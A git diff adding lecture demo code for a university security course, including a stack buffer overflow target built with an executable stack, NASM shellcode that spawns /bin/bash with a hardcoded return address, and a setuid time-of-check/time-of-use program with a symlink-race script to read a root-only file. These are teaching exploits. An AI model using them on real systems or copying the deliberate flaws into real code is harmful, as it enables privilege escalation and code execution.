diff --git a/README.md b/README.md index 3c81c46..71e3979 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,6 @@ -# sfl-examples +# Examples of the SFL lectures -Code examples of the SFL lecture \ No newline at end of file +Dear students, + +In this repository, you can find all software demos and many code examples that are part of the SFL lecture series. +In case you miss something, please send an email to christian.rossow [at] cs.uni-dortmund [dot] de. diff --git a/lecture-demos/buffer-overflow/Makefile b/lecture-demos/buffer-overflow/Makefile new file mode 100644 index 0000000..ebd2a37 --- /dev/null +++ b/lecture-demos/buffer-overflow/Makefile @@ -0,0 +1,16 @@ +SOURCES = $(wildcard *.asm) +OBJS = $(SOURCES:.asm=.o) +EXECS = $(patsubst %.asm,%.runme,$(SOURCES)) +all: $(EXECS) bufoverflow + +%.o: %.asm + nasm -g -f elf64 $< + +%.runme: %.o + ld -o $@ $< + +clean: + rm -f *.o *.runme bufoverflow + +bufoverflow: + gcc bufoverflow.c -g -z execstack -o bufoverflow -O1 -fno-unroll-loops -fno-omit-frame-pointer -fno-dce -fno-dse diff --git a/lecture-demos/buffer-overflow/bufoverflow.c b/lecture-demos/buffer-overflow/bufoverflow.c new file mode 100644 index 0000000..7f4d11a --- /dev/null +++ b/lecture-demos/buffer-overflow/bufoverflow.c @@ -0,0 +1,37 @@ +// usage: bufoverflow +// +// files with more than 512B content will cause overflows. +// smaller files work just fine. + +#include +#include +#include + +/* + before exploit after exploit + + +++++++++++++ +++++++++++++ + + saved RIP + <-- rbp+8 + &shellc +---\ + +++++++++++++ +++++++++++++ | + + saved RBP + <-- rbp + anything + | + +++++++++++++ +++++++++++++ | + + + + + | + + + + + | +... ... ... ... | + + + + + | + + (512 B) + + + | + + array + <-- rbp-0x200 + shellcode +<--/ + +++++++++++++ rsp +++++++++++++ +*/ + +int mystr(char *fn) { + char mystr[512]; + register FILE *f = fopen(fn, "rb"); + fread(mystr, 1024, 1, f); // VULNERABLE! reading 1024B into 512B buf + return mystr[0]; +} + +int main(int argc, char *argv[]) { + if (argc != 2) { printf("too few args."); return 1; } + return mystr(argv[1]); +} diff --git a/lecture-demos/buffer-overflow/bufoverflow.shellcode.asm b/lecture-demos/buffer-overflow/bufoverflow.shellcode.asm new file mode 100644 index 0000000..78e3898 --- /dev/null +++ b/lecture-demos/buffer-overflow/bufoverflow.shellcode.asm @@ -0,0 +1,23 @@ +bits 64 + +global _start +_start: + + times 128 nop + + ; 59 sys_execve const char *filename const char *const argv[] const char *const envp[] + ; (rdi, rsi, rdx, r10, r8, r9) + mov rax, 59 + lea rdi, [rel binbash] + xor rsi, rsi + xor rdx, rdx + syscall + + times 5 nop + +binbash: + db '/bin/bash', 0x00 + +ALIGN 512 ; 512-byte alignment for this part + times 8 nop ; overwrite saved rbp + dq 0x7fffffffdcd0 ; overwrite rip ([rbp+8]) diff --git a/lecture-demos/gdb-and-asm-intro/Makefile b/lecture-demos/gdb-and-asm-intro/Makefile new file mode 100644 index 0000000..0e44f74 --- /dev/null +++ b/lecture-demos/gdb-and-asm-intro/Makefile @@ -0,0 +1,13 @@ +SOURCES = $(wildcard *.asm) +OBJS = $(SOURCES:.asm=.o) +EXECS = $(patsubst %.asm,%.runme,$(SOURCES)) +all: $(EXECS) + +%.o: %.asm + nasm -g -f elf64 $< + +%.runme: %.o + ld -o $@ $< + +clean: + rm -f *.o *.runme diff --git a/lecture-demos/gdb-and-asm-intro/demo.asm b/lecture-demos/gdb-and-asm-intro/demo.asm new file mode 100644 index 0000000..9dc01ee --- /dev/null +++ b/lecture-demos/gdb-and-asm-intro/demo.asm @@ -0,0 +1,35 @@ +bits 64 + +SECTION .data + var1: dq 0x0 + var2: dq 0x0 + +SECTION .text +global _start +_start: + int3 + +read: + mov rax, 0 + add rax, 4 + mov rbx, rax + sub rax, 4 + xor rax, 0x10101010 + + xor rax, rax + sub rax, 1 + add rax, 1 + + mov rax, -1 + mov rax, 0xFFFFFFFFFFFFFFFF + + mov [var1], rax + mov rax, var1 + +exit: + ; sys_exit(42) + mov rax,60 ; system call number (sys_exit) + mov rdi,42 ; system call return value + syscall + + times 64 nop diff --git a/lecture-demos/gdb-and-asm-intro/echo.asm b/lecture-demos/gdb-and-asm-intro/echo.asm new file mode 100644 index 0000000..ac6da9c --- /dev/null +++ b/lecture-demos/gdb-and-asm-intro/echo.asm @@ -0,0 +1,38 @@ +bits 64 + + SECTION .data +; empty + echobuf db 1024 + + SECTION .text + +global _start +_start: + ;int3 + +read: + ; sys_read(stdin, buf, buflen) + mov rax,0 + mov rdi,0 ; arg1: fd (0 = stdin) + lea rsi,[echobuf] ; arg2: buffer + mov rdx,1024 ; arg3: buflen + syscall + + test rax, rax + jz exit + + ; sys_write(stdout, buf, buflen) + mov rdx,rax ; arg3: buflen + mov rax,1 ; system call number (1 = sys_write) + mov rdi,1 ; arg1: fd (1 = stdout) + lea rsi,[echobuf] ; arg2: buffer + syscall + jmp read + +exit: + ; sys_exit(42) + mov rax,60 ; system call number (sys_exit) + mov rdi,0 ; system call return value + syscall + + times 64 nop diff --git a/lecture-demos/setuid/Makefile b/lecture-demos/setuid/Makefile new file mode 100644 index 0000000..0632c18 --- /dev/null +++ b/lecture-demos/setuid/Makefile @@ -0,0 +1,10 @@ +all: setuid-toctou + +clean: + sudo rm -f setuid-toctou + +# file must be owned by root, hence we `chown` +setuid-toctou: + gcc setuid-toctou.c -o setuid-toctou &&\ + chmod u+s ./setuid-toctou &&\ + sudo chown root:root ./setuid-toctou diff --git a/lecture-demos/setuid/attack.sh b/lecture-demos/setuid/attack.sh new file mode 100755 index 0000000..ca14af1 --- /dev/null +++ b/lecture-demos/setuid/attack.sh @@ -0,0 +1,17 @@ +#!/bin/bash +# +# Launch this script and then start +# while true; do ./setuid-toctou ./symbolic_link ; done +set -u +set -e +curdir=`pwd` + +if [ ! -e ./setuid-toctou ]; then + echo "program not found. wrong directory?" + exit -1 +fi + +while true; do + ln -f -s ${curdir}/hello ./symbolic_link # link to a user-readable file + ln -f -s ${curdir}/secret ./symbolic_link # link to a root-readable file +done diff --git a/lecture-demos/setuid/setuid-toctou.c b/lecture-demos/setuid/setuid-toctou.c new file mode 100644 index 0000000..f00909e --- /dev/null +++ b/lecture-demos/setuid/setuid-toctou.c @@ -0,0 +1,28 @@ +#include +#include +#include +#include +#include + + +void main(int argc, char *argv[]) { + char buf[1024]; + int fd; + char *filename = argv[1]; + + if (access(filename, R_OK) != 0) { + //printf("file '%s' not accessible by user\n", filename); + exit(-1); // original user lacks permission + } + + // file at path `filename` exists and is readable + // by the original user (i.e., not just by root) + memset(buf, 0, 1024); + fd = open(filename, O_RDONLY); + if (fd == -1) { + //perror("error in open()"); + } else { + read(fd, buf, 1024); + printf("%s", buf); + } +}